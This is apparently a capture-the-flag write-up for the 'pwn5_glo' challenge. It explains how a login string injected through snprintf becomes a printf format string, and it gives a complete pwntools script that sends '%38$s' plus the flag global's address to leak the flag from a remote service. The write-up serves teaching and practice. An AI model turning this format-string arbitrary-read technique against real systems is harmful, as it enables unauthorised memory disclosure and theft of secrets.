pwn5_glo
pwn5_glo
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: fixed_global_deref, format_string_arbitrary_read, positional_argument_addressing, snprintf_format_injection
Summary
Task: NON-PIE x86-64 fmt service reads flag.txt into a fixed global (0x4040a0) then runs printf(out, password) where out is snprintf-built from the login. Solution: inject a positional format directive via the login (%38$s), plant the flag global address in the password (the printf vararg at slot 38), arbitrary-read dumps the flag.
pwn5_glo — pwn_spbctf
Description
Here is glo service
nc 109.233.56.90 11690Author: Artur Khanov (@awengar), tier pwn5, category fmt
A NON-PIE x86-64 ELF (glo.elf) that loads flag.txt into a global buffer at
startup, asks for a login and a password, and prints a formatted box. Goal: leak
the flag global via a format-string arbitrary read.
Analysis
Protections: NON-PIE (base 0x400000), NX, Partial RELRO, no canary, not stripped.
main @ 0x4011e0:
fopen("flag.txt","r")→fread(flag@0x4040a0, 1, 0x400, fp)→fclose. The flag lands in a global at the fixed address0x4040a0(NON-PIE ⇒ constant). No GOT/libc work is needed — the target to read is known.puts("Welcome to GLO"),puts("Enter login"),fgets(login=[rbp-0x30], 0x20), thenstrip(login).snprintf(out=[rbp-0x150], 0x100, format_global, login)whereformat_global@0x404068→ a box template @0x402008containing a literal%32sand an escaped%%24s. After this snprintf:- the login is injected where
%32swas, - the escaped
%%24scollapses to a live%24sdirective now sitting insideout.
- the login is injected where
puts("Enter password"),fgets(password=[rbp-0x50], 0x20),strip(password).printf(out, password)→rdi = out(the snprintf'd box used as the format string),rsi = password(first vararg).
The key teaching point — trace the ACTUAL printf
The obvious-looking sink is printf(out, password), which tempts you to treat
the password as the format-string vector. It is not. The password is merely
arg1 (the first vararg). The format string is out, and out is built by
snprintf from the login. So any % directives you want printf to
interpret must be placed in the login, not the password.
strip() @ 0x401196 only replaces the first '\n' (0x0a) with '\0';
it does not strip spaces or NUL bytes. This means we can safely plant a raw
8-byte address (with embedded NULs) in the password — it stays intact as the
vararg.
Stack offset
Planting a marker in the password (the vararg/arg area) and scanning %N$p
shows the password content surfacing at positional slot 38.
Solution
Format-string arbitrary read of the known global:
- login =
%38$s— only 5 bytes, comfortably under the0x20fgetslimit. After snprintf it becomes a live directive insideout. - password =
p64(0x4040a0)— the flag global's address. It lands on the stack at the vararg slot that%38$saddresses.
When printf(out, password) runs, %38$s fetches positional arg 38 (= the
password = 0x4040a0) and dereferences it as a char*, printing the flag.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.log_level = 'warn' HOST, PORT = '109.233.56.90', 11690 FLAG_ADDR = 0x4040a0 # NON-PIE: flag global at a fixed address io = remote(HOST, PORT) io.recvuntil(b'Enter login') # login becomes the printf format (via the box's escaped %%24s -> live %s). # %38$s dereferences stack slot 38 = the password content. io.sendline(b'%38$s') io.recvuntil(b'Enter password') # password (the printf vararg) = flag address; %38$s reads it as char* -> flag. io.sendline(p64(FLAG_ADDR)) data = io.recvall(timeout=10) io.close() print(data.decode('latin-1')) import re m = re.search(r'(?i)spbctf\{[^}]*\}', data.decode('latin-1')) if m: print("\n[FLAG]", m.group(0))